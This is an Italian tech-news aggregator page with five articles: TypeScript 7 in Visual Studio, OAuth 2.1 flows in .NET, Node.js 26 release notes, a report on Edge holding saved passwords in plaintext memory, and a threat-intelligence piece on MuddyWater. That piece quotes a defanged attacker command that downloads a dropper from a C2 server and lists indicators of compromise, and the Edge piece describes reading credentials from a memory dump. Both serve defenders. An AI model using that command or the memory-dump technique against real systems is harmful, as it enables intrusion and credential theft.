Spcnet.it

2026-05-07 17:18:07

TypeScript 7 Beta abilitato di default in Visual Studio 2026: guida pratica

Con la terza preview di Visual Studio 2026 18.6 Insiders, Microsoft ha compiuto un passo importante: il compilatore integrato di TypeScript è stato aggiornato a TypeScript 7 Beta (native preview). Per tutti gli sviluppatori che usano Visual Studio con progetti TypeScript o JavaScript — compresi i progetti ASP.NET Core con pacchetti npm — questo cambiamento è già attivo e vale la pena capire cosa comporta.

Cos’è il compilatore nativo di TypeScript 7?

TypeScript 7 è un porting nativo del compilatore TypeScript, riscritto in Go. Questo porta l’esecuzione nativa e il parallelismo a memoria condivisa al compilatore e al language service TypeScript. I risultati misurati parlano di:

• Fino a 10x più veloce per la compilazione di codebase di grandi dimensioni.
• Riduzione significativa dell’uso di memoria rispetto al compilatore precedente.
• Caricamento dei progetti circa 8x più rapido all’apertura in Visual Studio.

Se lavori con progetti TypeScript o JavaScript di grandi dimensioni, noterai miglioramenti concreti su tutta l’esperienza di sviluppo.

Quali funzionalità di Visual Studio beneficiano di TypeScript 7?

Il language service TypeScript aggiornato migliora direttamente molte funzionalità dell’IDE:

• IntelliSense e completamenti. I suggerimenti di codice e le informazioni sui parametri appaiono più velocemente, soprattutto nei progetti grandi dove in precedenza si notava un ritardo.
• Find All References. La ricerca di riferimenti nell’intera soluzione è significativamente più rapida.
• Go to Definition. La navigazione alle definizioni è più reattiva.
• Diagnostica degli errori. Le sottolineature rosse e la lista degli errori si aggiornano più rapidamente mentre si scrive.
• Tempi di caricamento dei progetti. L’apertura di progetti TypeScript e JavaScript è notevolmente più veloce, con tempi ridotti di circa 8x.

Come controllare quale versione di TypeScript usa Visual Studio

Visual Studio usa il compilatore TypeScript integrato solo quando il progetto non specifica una versione locale. Se nel tuo progetto è installato TypeScript tramite npm, Visual Studio userà automaticamente quella versione invece di quella integrata.

Disabilitare la native preview di TypeScript 7

Se preferisci tornare al language service precedente, puoi disabilitare la native preview in Visual Studio. Vai in Strumenti > Opzioni > Funzionalità di anteprima e cerca “native preview”. Deseleziona l’opzione Enable JavaScript/TypeScript Native Language Service Preview e riavvia Visual Studio.

Usare TypeScript 6.x (GA)

Per usare la release stabile corrente, installa il pacchetto typescript nel tuo progetto:

npm install -D typescript@^6.0.0


Visual Studio rileverà la versione nella cartella node_modules e utilizzerà quella invece del compilatore integrato.

Fissare una versione specifica della native preview

Se vuoi usare esplicitamente la native preview ma fissare una versione specifica, installa il pacchetto @typescript/native-preview:

npm install -D @typescript/native-preview@beta


Problemi noti (e come aggirarli)

TypeScript 7 porta miglioramenti significativi, ma il team Microsoft è ancora al lavoro per raggiungere la parità completa di funzionalità con il compilatore precedente. Ecco i problemi noti più rilevanti per il lavoro quotidiano:

• IntelliSense. In alcuni casi i completamenti potrebbero non apparire. Nei file .cshtml, l’elenco dei completamenti potrebbe non apparire all’interno di un tag <script>. Premere Ctrl+Space può aggirare il problema.
• Azioni codice e refactoring. Le correzioni rapide (Ctrl+.) non sono ancora disponibili. Il comando Organize Imports (Ctrl+R, Ctrl+G) non è disponibile.
• Navigazione e ricerca. I dropdown della barra di navigazione in cima all’editor non mostrano i simboli del documento. Find All References (Shift+F12) mostra una lista piatta senza raggruppamento semantico.
• CodeLens. I contatori di riferimenti (es. “19 references”) non appaiono sopra le dichiarazioni di interfacce e classi.
• Rinomina file. Rinominare un file o una cartella in un progetto TypeScript non aggiorna in modo consistente i percorsi di import negli altri file.
• File watching. Quando i file vengono modificati fuori da Visual Studio, le modifiche non vengono rilevate finché il file non viene aperto e modificato nell’IDE.

Come riportare feedback

Se riscontri problemi con il compilatore o il language service TypeScript 7, il posto migliore per segnalarli è il repository GitHub typescript-go.

Per problemi specifici di Visual Studio, usa Developer Community per segnalare bug o suggerire miglioramenti.

Quando aggiornare?

Se lavori su progetti TypeScript/JavaScript di grandi dimensioni in Visual Studio, i guadagni di performance giustificano la prova della native preview già ora, accettando i problemi noti. Per progetti più piccoli o in produzione dove la stabilità è critica, è ragionevole aspettare il rilascio stabile di TypeScript 7 o fissare esplicitamente la versione 6.x nel progetto.

In ogni caso, il messaggio è chiaro: la direzione di Microsoft è verso un TypeScript nativo, più veloce e meno esigente in termini di risorse. Vale la pena familiarizzare ora con le nuove opzioni di configurazione.

---

Fonte: TypeScript 7 Beta Now Enabled by Default in Visual Studio 2026 18.6 Insiders 3 di Sayed Ibrahim Hashimi (Visual Studio Blog)

TypeScript 7 Beta Now Enabled by Default in Visual Studio 2026 18.6 Insiders 3 - Visual Studio Blog

TypeScript 7 Beta Now Enabled by Default in Visual Studio 2026 18.6 Insiders 3 In Visual Studio 2026 18.6 Insiders 3 we have updated the built-in TypeScript SDK to TypeScript 7 Beta (native preview).

^{Sayed Ibrahim Hashimi (Visual Studio Blog)}

Spcnet.it

2026-05-07 17:18:37

OAuth 2.1 spiegato semplicemente: i tre flussi che coprono ogni scenario

OAuth 2.0 è stato a lungo sinonimo di complessità: sei grant type diversi, tutorial spesso contraddittori, e sviluppatori che finivano per scegliere il flusso sbagliato e pubblicare applicazioni insicure. Nel 2026 questo scenario appartiene al passato. OAuth 2.1 ha fatto ciò che la community chiedeva da anni: ha eliminato i flussi pericolosi, ha reso PKCE obbligatorio su ogni grant di autorizzazione, e ha lasciato una specifica molto più facile da imparare e quasi impossibile da usare in modo scorretto.

Se state sviluppando con .NET 10, questo articolo copre tutto ciò che dovete sapere. Tre flussi. Cinque secondi per scegliere quello giusto. Partiamo.

Il problema con OAuth 2.0

OAuth 2.0 nacque con una buona intenzione: delegare l’autorizzazione senza condividere le credenziali. Ma la specifica era così flessibile da includere flussi profondi (come l’Implicit Flow per le SPA) che erano già problematici nel 2012 e sono diventati veri e propri anti-pattern con l’evoluzione del web. Il risultato? Anni di articoli in conflitto, sviluppatori confusi, e vulnerabilità di sicurezza difficili da rilevare in code review.

OAuth 2.1 risolve questo alla radice: mantiene quello che funziona, rimuove quello che è pericoloso, e consolida le best practice nel testo normativo stesso.

Flusso 1: Client Credentials — comunicazione machine-to-machine

Quando nessun utente umano è coinvolto nella comunicazione, si usa il flusso Client Credentials. Esempi tipici:

• Un job notturno che interroga un’API di reportistica
• Un microservizio di spedizione che notifica il microservizio di inventario
• Un worker in background che elabora una coda di messaggi
• Un’API interna che chiama un altro servizio interno

In questi scenari, è il servizio stesso ad essere l’identità — agisce per proprio conto, non per conto di un utente. Il flusso è diretto e senza reindirizzamenti browser:

1. Il servizio invia le proprie credenziali al token service via HTTP POST
2. Il token service verifica l’identità e restituisce un access token
3. Il servizio usa il token per chiamare le API target

// .NET 10 — richiesta di un token Client Credentials con IdentityModel
var client = new HttpClient();
var response = await client.RequestClientCredentialsTokenAsync(
    new ClientCredentialsTokenRequest
    {
        Address = "https://identity.example.com/connect/token",
        ClientId = "service-a",
        ClientSecret = "segreto-sicuro",
        Scope = "api1.read api1.write"
    });

var accessToken = response.AccessToken;
// Usa accessToken nell'Authorization header delle chiamate successive


OAuth 2.1 supporta tre meccanismi di autenticazione del client, in ordine crescente di sicurezza:

• Client secret: client_id e client_secret nell’header Basic o nel body — semplice ma richiede una buona gestione dei segreti
• private_key_jwt: il client firma un JWT con la propria chiave privata; il token service valida la firma con la chiave pubblica registrata
• Mutual TLS (mTLS): autenticazione al livello di trasporto con certificati X.509 — massima sicurezza per ambienti ad alto rischio

Flusso 2: Authorization Code + PKCE — applicazioni con utente

Se un essere umano deve autenticarsi, questa è la risposta universale. Che si tratti di un’app Razor Pages server-side, un’app mobile nativa, un’applicazione desktop o una SPA dietro un Backend-for-Frontend, Authorization Code con PKCE è il flusso corretto in OAuth 2.1 — senza eccezioni.

Come funziona

1. L’applicazione reindirizza l’utente all’authorization endpoint del provider di identità
2. L’utente si autentica (password, MFA, policy aziendali)
3. Il provider reindirizza l’utente all’applicazione con un authorization code di breve durata
4. L’applicazione scambia il codice per i token tramite una chiamata back-channel diretta

Le credenziali dell’utente non toccano mai l’applicazione. I token non transitano mai attraverso la barra degli indirizzi del browser.

PKCE: protezione contro l’intercettazione del codice

PKCE (Proof Key for Code Exchange, pronunciato “pixie”) aggiunge uno strato critico di protezione all’exchange del codice. Prima di avviare il flusso, l’applicazione:

1. Genera una stringa casuale (code_verifier)
2. Calcola il suo hash SHA-256 (code_challenge)
3. Invia il code_challenge nella richiesta di autorizzazione

Quando poi scambia il codice per i token, invia il code_verifier originale. Il token service verifica che l’hash corrisponda alla challenge registrata. Un attaccante che intercetta l’authorization code — attraverso un’app malevola sullo stesso custom URI scheme, un redirect compromesso, o qualsiasi altro vettore — non può usarlo senza il code_verifier. Il codice è inutile senza di esso.

// .NET 10 — configurazione OIDC con Authorization Code + PKCE
builder.Services
    .AddAuthentication(options =>
    {
        options.DefaultScheme = "cookie";
        options.DefaultChallengeScheme = "oidc";
    })
    .AddCookie("cookie")
    .AddOpenIdConnect("oidc", options =>
    {
        options.Authority = "https://identity.example.com";
        options.ClientId = "web-app";
        options.ClientSecret = "segreto-sicuro";
        options.ResponseType = "code";       // Authorization Code Flow
        options.UsePkce = true;              // PKCE (abilitato di default in .NET)
        options.SaveTokens = true;
        options.Scope.Add("openid");
        options.Scope.Add("profile");
        options.Scope.Add("api1.read");
    });


Nota importante sulle SPA: le best practice correnti raccomandano di non esporre token al codice JavaScript lato client. Le SPA dovrebbero usare il pattern Backend-for-Frontend (BFF), dove è il server a gestire il flusso OIDC e a esporre solo cookie di sessione al browser.

Flusso 3: Device Authorization — dispositivi senza browser

Alcuni dispositivi non hanno un browser o una tastiera utilizzabile: smart TV, console di gioco, sensori IoT, strumenti CLI in ambienti headless. Non si può reindirizzare un utente a una pagina di login che non esiste.

Il flusso Device Authorization (RFC 8628) risolve questo con un pattern disaccoppiato:

1. Il dispositivo richiede un codice utente e un URL di verifica al token service
2. Il dispositivo mostra all’utente qualcosa come: “Vai su login.example.com/device e inserisci il codice: ABCD-1234”
3. L’utente prende il proprio telefono o laptop, naviga all’URL, inserisce il codice e si autentica normalmente
4. Nel frattempo, il dispositivo fa polling al token endpoint a intervalli regolari
5. Quando l’utente completa l’autenticazione, il dispositivo riceve l’access token

È semplice, sicuro, e non richiede al dispositivo vincolato di rendere un’interfaccia di login.

L’albero decisionale di OAuth 2.1

Scegliere il flusso corretto richiede esattamente due domande:

1. È coinvolto un utente umano?No → Client Credentials
   
   • Sì → vai al punto 2

   
   

2. Il dispositivo ha un browser?Sì → Authorization Code + PKCE
   
   • No → Device Authorization

   
   

Questo è l’intero albero decisionale. Niente eccezioni. Niente casi speciali (a parte scenari legacy di migrazione).

Cosa ha rimosso OAuth 2.1 e perché

Tre flussi di OAuth 2.0 sono stati eliminati dallo standard. Non è necessario impararli per le nuove applicazioni, ma capire perché sono stati rimossi aiuta a riconoscerli se ci si imbatte in codice datato:

• Implicit Flow: era nato per le SPA in un’epoca in cui i browser non supportavano chiamate cross-origin POST. Restituiva i token direttamente nel fragment dell’URL, rendendoli visibili nella history del browser, nelle intestazioni referer e nei log del server. Con il supporto universale di CORS, la sua ragion d’essere è svanita.
• Resource Owner Password Credentials (ROPC): chiedeva agli utenti di digitare username e password direttamente nell’applicazione client — vanificando l’intero scopo di OAuth. Non supportava MFA o login federato, e abituava gli utenti a consegnare le proprie credenziali ad app che non avrebbero dovuto averle.
• Authorization Code senza PKCE: funzionava sulle app server-side, ma su piattaforme mobile più applicazioni possono registrarsi sullo stesso URI scheme personalizzato. Un’app malevola poteva intercettare l’authorization code e scambiarlo per token. Con PKCE obbligatorio, il codice intercettato diventa inutile.

Conclusioni

OAuth 2.1 è il protocollo di autorizzazione che avremmo voluto avere dal principio: tre flussi chiari, PKCE obbligatorio, nessuna ambiguità nella scelta. Per chi sviluppa in .NET 10, l’ecosistema è già allineato — le librerie come Duende IdentityServer e IdentityModel implementano questi pattern nativamente. Il passo successivo è una revisione del codice esistente per identificare eventuali flussi legacy da migrare.

Fonte: OAuth 2.1 Made Simple: The Only Flows You Need — Khalid Abuhakmeh, Duende Software, 6 maggio 2026

OAuth 2.1 Made Simple: The Only Flows You Need

OAuth 2.1 dramatically simplifies the protocol by eliminating insecure flows. Learn the only three OAuth 2.1 flows you need for every scenario: Client Credentials, Authorization Code with mandatory PKCE, and Device Authorization.

^{Khalid Abuhakmeh (Duende Software)}

(in)sicurezza digitale

2026-05-07 13:43:39

MuddyWater usa il ransomware Chaos come falsa bandiera: l’Iran maschera lo spionaggio di Stato da cybercrime

Si parla di:
Toggle

Un’operazione di cyberspionaggio tra le più sofisticate degli ultimi anni si è celata dietro la maschera di un comune attacco ransomware. Rapid7 ha documentato come MuddyWater — il gruppo APT affiliato al Ministero dell’Intelligence e della Sicurezza iraniano (MOIS) — abbia utilizzato Microsoft Teams per rubare credenziali, manipolare l’autenticazione a più fattori e stabilire persistenza a lungo termine all’interno di reti occidentali. Il ransomware Chaos? Solo un’esca per confondere le acque dell’attribuzione.

Il gruppo MuddyWater: identità e contesto operativo

MuddyWater (noto anche come Mango Sandstorm, Seedworm e Static Kitten) è un attore state-sponsored attivo almeno dal 2017, attribuito con alta confidenza al MOIS iraniano. Il gruppo si distingue per la predilezione verso tecniche di social engineering avanzato, l’abuso di strumenti legittimi di accesso remoto e campagne mirate principalmente verso organizzazioni governative, di difesa e infrastrutture critiche in Medio Oriente, Europa e Nord America.

In passato, MuddyWater ha utilizzato tool come SimpleHelp, ScreenConnect e AnyDesk per mantenere la persistenza sulle reti compromesse. La novità emersa dall’incidente analizzato da Rapid7 all’inizio del 2026 è l’utilizzo di Microsoft Teams come vettore di ingresso iniziale — un’evoluzione tattica che riflette l’adattamento del gruppo alle piattaforme di collaborazione aziendale ormai ubique nelle organizzazioni bersaglio.

La falsa bandiera: cos’è il ransomware Chaos

Il ransomware Chaos è una operazione RaaS (Ransomware-as-a-Service) attiva dal febbraio 2025, probabilmente composta da ex membri dei gruppi BlackSuit e Royal dopo lo smantellamento durante l’Operazione Checkmate nel luglio 2025. Il gruppo Chaos adotta tattiche di “big-game hunting”, con richieste di riscatto fino a 300.000 dollari, e ha rivendicato 36 vittime fino a fine marzo 2026, concentrandosi principalmente su aziende statunitensi nei settori edile, manifatturiero e dei servizi.

La caratteristica che ha indotto MuddyWater a scegliere Chaos come copertura è la tecnica di accesso iniziale del gruppo criminale: spam massivo di email combinato con vishing (voice phishing) e successiva richiesta di accesso remoto tramite Microsoft Quick Assist o Teams — un modus operandi che MuddyWater ha potuto replicare fedelmente per non destare sospetti.

La catena di attacco: dal social engineering alla persistenza silenziosa

L’intrusione analizzata da Rapid7 si è articolata in fasi distinte, tutte condotte attraverso canali legittimi per minimizzare il rilevamento. Nella prima fase, gli attaccanti hanno contattato dipendenti attraverso richieste di chat esterne su Microsoft Teams, impersonando personale IT. Durante sessioni interattive di screen-sharing, hanno raccolto credenziali e manipolato il processo di MFA. Una volta ottenute credenziali valide, il threat actor si è mosso lateralmente usando account interni legittimi, installando poi DWAgent e AnyDesk per garantirsi canali di accesso persistente.

La fase successiva ha visto il download del dropper principale tramite RDP:

curl hxxp[://]172.86.126[.]208:443/ms_upd.exe -o C:\ProgramData\ms_upd.exe

Il dropper ms_upd.exe si connette al server C2 moonzonet[.]com via richieste /register e /check, scaricando poi tre componenti: WebView2Loader.dll (SHA256: a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a), il RAT principale Game.exe (SHA256: 1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6) e il file di configurazione cifrata visualwincomp.txt (SHA256: c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0).

Il RAT Game.exe: analisi tecnica

Game.exe è un Remote Access Trojan che si maschera da applicazione Microsoft WebView2 legittima. Il PDB path rivela l’ambiente di sviluppo: C:\Users\pc\Downloads\WebView2Samples-main\SampleApps\WebView2APISample\Release\x64\WebView2APISample.pdb. Significativamente, il RAT non implementa alcuna forma di offuscamento — le importazioni API sono risolte staticamente e le stringhe sono in chiaro — il che suggerisce uno strumento sviluppato per deployment limitato e monouso. Al momento del report di Rapid7, solo due campioni erano stati osservati in repository pubblici.

L’attribuzione: il “tell” nel certificato di firma

Il collegamento a MuddyWater emerge da un artefatto tecnico specifico: il certificato di firma del codice intestato a “Donald Gay”, precedentemente utilizzato dal gruppo per firmare il downloader CastleLoader (noto come Fakeset). La sovrapposizione dell’infrastruttura C2 e il tradecraft operativo confermano l’attribuzione con confidenza moderata. La scelta di non cifrare alcun file — deviando dal playbook standard di Chaos — è il segnale più chiaro della vera natura dell’operazione: l’obiettivo non era l’estorsione finanziaria, ma l’esfiltrazione di dati e il prepositioning a lungo termine nelle reti compromesse.

La convergenza tra APT e cybercrime: una tendenza sistemica

Questo incidente si inserisce in una tendenza documentata: i gruppi APT state-sponsored stanno deliberatamente adottando le TTP del cybercrime organizzato per offuscare l’attribuzione. Replicando le tecniche dei RaaS o acquistando accesso alle loro infrastrutture, attori come MuddyWater possono far apparire operazioni di spionaggio geopolitico come semplici attacchi a scopo di lucro, complicando la risposta diplomatica e legale. Il caso Chaos/MuddyWater è solo l’esempio più recente di questa convergenza, che era già emersa con attori nordcoreani (Lazarus) e russi (Sandworm) in operazioni precedenti.

Indicatori di Compromissione (IoC)

# Hash - WebView2Loader.dll (legittimo DLL trojanizzato)
SHA256: a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a

# Hash - Game.exe (RAT principale)
SHA256: 1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6

# Hash - visualwincomp.txt (configurazione cifrata)
SHA256: c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0

# C2 IP
172.86.126[.]208:443

# C2 Dominio
moonzonet[.]com

# Strumenti di persistenza
DWAgent, AnyDesk

# Path dropper
C:\ProgramData\ms_upd.exe

Due righe per i difensori

• Limitare le chat esterne su Microsoft Teams: bloccare o richiedere approvazione esplicita per le chat provenienti da tenant esterni non trusted.
• Monitorare sessioni di screen-sharing anomale: alertare su sessioni avviate da contatti esterni non verificati, specialmente se combinano condivisione schermo e richieste di credenziali.
• Audit degli strumenti di accesso remoto: inventariare DWAgent, AnyDesk e simili; bloccare installazioni non approvate tramite policy di endpoint management.
• MFA phishing-resistant: passare da TOTP/SMS a FIDO2/passkey per eliminare la superficie di attacco della manipolazione MFA via social engineering.
• Non fermarsi all’etichetta ransomware: in caso di attacco ransomware senza cifratura o con anomalie comportamentali, considerare sempre la possibilità di una false flag operation state-sponsored.

Spcnet.it

2026-05-07 13:34:27

Node.js 26.0.0: Temporal API di default, V8 14.6 e rimozione delle API legacy

Il 5 maggio 2026 il team di Node.js ha rilasciato la versione 26.0.0, denominata “Current”, che introduce cambiamenti significativi alla piattaforma runtime JavaScript server-side più diffusa al mondo. Node.js 26 entrerà in Long-Term Support (LTS) nell’ottobre 2026: da quel momento sarà la release raccomandata per ambienti di produzione. Nel frattempo, i sei mesi di status “Current” sono il momento ideale per esplorare le novità e valutare l’impatto sulle proprie applicazioni.

Temporal API abilitata di default

La novità più attesa di Node.js 26 è l’abilitazione di default della Temporal API, la moderna API JavaScript per la gestione di date e orari. Per anni, la community ha convissuto con i limiti dell’oggetto Date: mancanza di supporto per i fusi orari, comportamenti incoerenti, mutabilità non controllata, e risultati controintuitivi in molti scenari di internazionalizzazione.

Temporal risolve tutti questi problemi alla radice, introducendo un sistema di tipi ricco e immutabile:

• Temporal.PlainDate: una data senza orario né fuso orario
• Temporal.PlainTime: un orario senza data né fuso orario
• Temporal.PlainDateTime: data e orario senza fuso orario
• Temporal.ZonedDateTime: data e orario con fuso orario esplicito
• Temporal.Instant: un momento preciso nel tempo (come un timestamp Unix)
• Temporal.Duration: un intervallo di tempo

Ecco un esempio pratico di come Temporal semplifica operazioni che con Date richiedevano librerie esterne come Luxon o date-fns:

// Ottenere la data di oggi in un fuso orario specifico
const oggi = Temporal.Now.plainDateISO('Europe/Rome');
console.log(oggi.toString()); // "2026-05-07"

// Aggiungere 30 giorni senza preoccuparsi dei mesi
const traThentaGiorni = oggi.add({ days: 30 });
console.log(traThentaGiorni.toString()); // "2026-06-06"

// Calcolare la differenza tra due date
const inizio = Temporal.PlainDate.from('2026-01-01');
const fine = Temporal.PlainDate.from('2026-12-31');
const differenza = inizio.until(fine);
console.log(differenza.days); // 364

// Lavorare con fusi orari in modo esplicito
const appuntamento = Temporal.ZonedDateTime.from({
  year: 2026,
  month: 5,
  day: 15,
  hour: 14,
  minute: 30,
  timeZone: 'America/New_York'
});
const inRoma = appuntamento.withTimeZone('Europe/Rome');
console.log(inRoma.toLocaleString('it-IT'));

Fino a Node.js 25, Temporal era disponibile ma richiedeva il flag --harmony-temporal. Ora è parte integrante del runtime e non serve alcuna configurazione aggiuntiva.

V8 14.6: due nuove proposte TC39

Il motore JavaScript V8 è stato aggiornato alla versione 14.6.202.33 (Chromium 146), portando con sé due importanti proposte TC39 ora disponibili nativamente:

Upsert: Map.prototype.getOrInsert()

La proposta Upsert introduce i metodi getOrInsert() e getOrInsertComputed() su Map e WeakMap. Si tratta di un pattern molto comune nello sviluppo: controllare se una chiave esiste in una mappa, e se non esiste, inserire un valore di default e restituirlo.

// Prima di Node.js 26 - verboso e ripetitivo
function getOrCreate(map, key, defaultValue) {
  if (!map.has(key)) {
    map.set(key, defaultValue);
  }
  return map.get(key);
}

const cache = new Map();
const utenti = getOrCreate(cache, 'admin', []);
utenti.push('mario');

// Con Node.js 26 - conciso e leggibile
const cache = new Map();
const utenti = cache.getOrInsert('admin', []);
utenti.push('mario');

// Versione con factory function (lazy initialization)
const grandi = cache.getOrInsertComputed('admin', (key) => {
  return recuperaUtentiDalDb(key); // calcolato solo se necessario
});

Iterator sequencing: Iterator.concat()

La proposta Iterator sequencing introduce Iterator.concat(), che permette di concatenare più iteratori senza materializzarli tutti in memoria contemporaneamente:

// Concatenare lazily più sorgenti di dati
const paginaUno = [1, 2, 3][Symbol.iterator]();
const paginaDue = [4, 5, 6][Symbol.iterator]();
const paginaTre = [7, 8, 9][Symbol.iterator]();

const tuttiGliElementi = Iterator.concat(paginaUno, paginaDue, paginaTre);
for (const elemento of tuttiGliElementi) {
  console.log(elemento); // 1, 2, 3, 4, 5, 6, 7, 8, 9
}

Undici 8.0: il client HTTP di nuova generazione

La libreria Undici, il client HTTP integrato in Node.js, è stata aggiornata alla versione 8.0.2. Undici è il motore dietro fetch() nativo in Node.js ed è progettato per prestazioni e correttezza del protocollo HTTP/1.1 e HTTP/2. La versione 8 porta miglioramenti all’implementazione di WebSocket, gestione delle connessioni e supporto per proxy avanzati.

Deprecazioni e rimozioni importanti

Come ogni major version, Node.js 26 rimuove API che erano state deprecate nelle versioni precedenti. Ecco le più impattanti:

Rimozione di http.Server.prototype.writeHeader()

Il metodo writeHeader() è stato definitivamente rimosso. Era già deprecato da anni: la forma corretta è writeHead().

// ❌ Non funziona più in Node.js 26
res.writeHeader(200, { 'Content-Type': 'application/json' });

// ✅ Forma corretta
res.writeHead(200, { 'Content-Type': 'application/json' });

Rimozione dei moduli legacy _stream_*

I moduli interni _stream_wrap, _stream_readable, _stream_writable, _stream_duplex, _stream_transform e _stream_passthrough sono stati rimossi definitivamente. Se li state importando direttamente (cosa sconsigliata ma ancora diffusa in codice datato), dovete migrare all’API pubblica:

// ❌ Non funziona più
const { Readable } = require('_stream_readable');

// ✅ Sempre corretto
const { Readable } = require('stream');
// o con ESM:
import { Readable } from 'node:stream';

Rimozione di –experimental-transform-types

Il flag --experimental-transform-types, che abilitava la trasformazione automatica dei tipi TypeScript a runtime, è stato rimosso. Per eseguire TypeScript in Node.js, la raccomandazione ufficiale rimane l’uso di --experimental-strip-types (disponibile dalla v22.6+) oppure di tool dedicati come tsx o ts-node.

Deprecazioni runtime

Diverse API passano ora a deprecazione a runtime, il che significa che genereranno un avviso quando utilizzate, senza però bloccare l’esecuzione:

• module.register() — deprecato in favore di import.meta.url patterns
• Alcune API crypto (DEP0203, DEP0204) legate a formati di chiavi obsoleti
• Alcune API stream (DEP0201)

Come aggiornare

Per installare Node.js 26 tramite nvm:

nvm install 26
nvm use 26
node --version  # v26.0.0

Con fnm:

fnm install 26
fnm use 26

Prima di aggiornare i progetti in produzione, si raccomanda di:

1. Verificare che tutte le dipendenze siano compatibili con Node.js 26 (controllate le note di release dei principali package)
2. Cercare nel codice le API rimosse: writeHeader, _stream_*, --experimental-transform-types
3. Testare il comportamento della Temporal API se il vostro codice ha workaround per Date
4. Abilitare i log delle deprecazioni runtime con NODE_OPTIONS='--trace-deprecation'

Conclusioni

Node.js 26 è una release di maturazione: la Temporal API è finalmente pronta per la produzione, V8 14.6 porta proposte TC39 da lungo tempo attese, e le rimozioni puliscono la piattaforma dagli artefatti del passato. Per chi lavora su progetti Node.js, questo è il momento di iniziare i test su questa versione in vista dell’ingresso in LTS di ottobre 2026.

Fonte: Node.js 26.0.0 Release Notes — nodejs.org, 5 maggio 2026

Node.js — Node.js 26.0.0 (Current)

Node.js® is a free, open-source, cross-platform JavaScript runtime environment that lets developers create servers, web apps, command line tools and scripts.

^nodejs.org

YOOTA

2026-05-07 10:30:00

Le password salvate in Edge sono leggibili (in chiaro) nella RAM, e per Microsoft non è un bug

Tutte le password salvate in Microsoft Edge restano in memoria del browser in chiaro per l’intera durata della sessione, non solo quella del sito su cui si sta effettuando il login. La scoperta arriva dal ricercatore norvegese Tom Jøran Sønstebyseter Rønning, che ha pubblicato un video dimostrativo e ha contattato Microsoft. La risposta dell’azienda, come riporta anche PCWorld, è che il comportamento non è un bug ma una scelta di design intenzionale.

Solo Edge tra i browser Chromium

Rønning ha testato Chrome, Brave, Vivaldi, Opera ed Edge. Tutti gli altri browser basati su Chromium decifrano una singola password nel momento in cui serve, per esempio quando l’utente accede al sito corrispondente; Edge invece carica l’intero archivio in memoria all’apertura, indipendentemente dal fatto che le credenziali servano in quella sessione.

Il problema è stato riprodotto anche da Rob VandenBrink del SANS Internet Storm Center, che ha mostrato come basti generare un dump di memoria del processo Edge, senza privilegi particolari, per leggere tutte le credenziali. La schermata che chiede la riautenticazione prima di mostrare una password salvata diventa quindi più scenografica che protettiva, visto che il processo del browser ha già tutto in chiaro.

Il rischio reale, soprattutto in ambienti condivisi

Un utente con accesso locale al proprio computer, e in particolare un eventuale malware che gira con i suoi stessi privilegi, può estrarre l’intero archivio di password senza decifrare nulla. La situazione si fa pesante in contesti come terminal server, desktop remoti, infrastrutture VDI o macchine multiutente, dove un account amministratore compromesso può raccogliere le credenziali di tutte le sessioni in cui Edge è rimasto aperto, comprese quelle disconnesse.

Un dettaglio rende la scelta di Microsoft ancora meno comprensibile. Circa un anno fa l’azienda ha rimosso la gestione password da Microsoft Authenticator, spingendo chi usava quella funzione a salvare le credenziali direttamente in Edge. Gli utenti che hanno seguito quel percorso si trovano ora con un archivio leggibile in memoria a ogni avvio del browser.

Cosa conviene fare

Chi ha salvato password in Edge può limitare il rischio in pochi passaggi: disattivare il password manager del browser, esportare le credenziali e importarle in un gestore dedicato, infine eliminare quelle ancora presenti in Edge. È anche il momento giusto per cambiare le password più sensibili e attivare l’autenticazione a due fattori dove possibile.

Per chi cerca un’alternativa con cifratura end-to-end, supporto a passkey e codici 2FA integrati, una delle opzioni più solide del settore è Proton Pass

Rønning ha annunciato che pubblicherà su GitHub uno strumento per consentire a chiunque di verificare in autonomia se le proprie password Edge sono leggibili in memoria.

SOURCE:// proton.me
SOURCE:// pcworld.com
SOURCE:// isc.sans.edu

Microsoft Edge security alert: All saved passwords unencrypted | Proton

Microsoft Edge keeps all saved passwords in plaintext memory instead of encrypting them. Here’s what you risk and what you should do instead.

^{Elena Constantinescu (Proton)}